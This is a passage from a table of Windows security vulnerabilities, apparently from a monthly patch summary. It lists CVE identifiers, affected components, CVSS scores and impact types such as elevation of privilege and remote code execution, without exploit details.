Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows 